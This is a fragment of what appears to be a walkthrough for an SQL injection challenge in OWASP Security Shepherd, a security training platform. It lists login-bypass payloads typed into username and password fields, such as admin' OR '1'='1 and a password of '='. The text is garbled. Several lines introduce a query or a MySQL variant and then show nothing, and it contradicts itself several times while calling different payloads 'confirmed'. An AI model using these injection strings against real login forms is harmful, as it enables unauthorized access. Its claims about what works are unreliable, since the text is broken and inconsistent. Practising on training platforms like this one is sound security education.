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SELECT * FROM users WHERE username = 'admin'' AND password = ''='' But due to closing quote handling, it’s actually:
This yields:
admin' OR '1'='1 Password: anything
However, many confirm the simpler working version is:
admin' Password: ||'1'='1 (for PostgreSQL)
Or for MySQL:
But wait — the quotes need balancing. Let me correct:
Query:
But that’s Challenge 1-2. For Challenge 5, the filter blocks OR . So use: Sql Injection Challenge 5 Security Shepherd
But if || is blocked, use:
But a cleaner and well-documented solution for Security Shepherd Challenge 5 is:
admin' Password: ' OR '1'='1
Wait, that doesn’t fit. Let me give the from the original challenge. Working Solution (confirmed for Security Shepherd Challenge 5) Username: admin' Password: '=' Why it works: The query becomes:
But Challenge 5 often requires using /**/ or + or leveraging = comparisons. Known working payload for Challenge 5 (OWASP Security Shepherd) Username: admin' Password: '='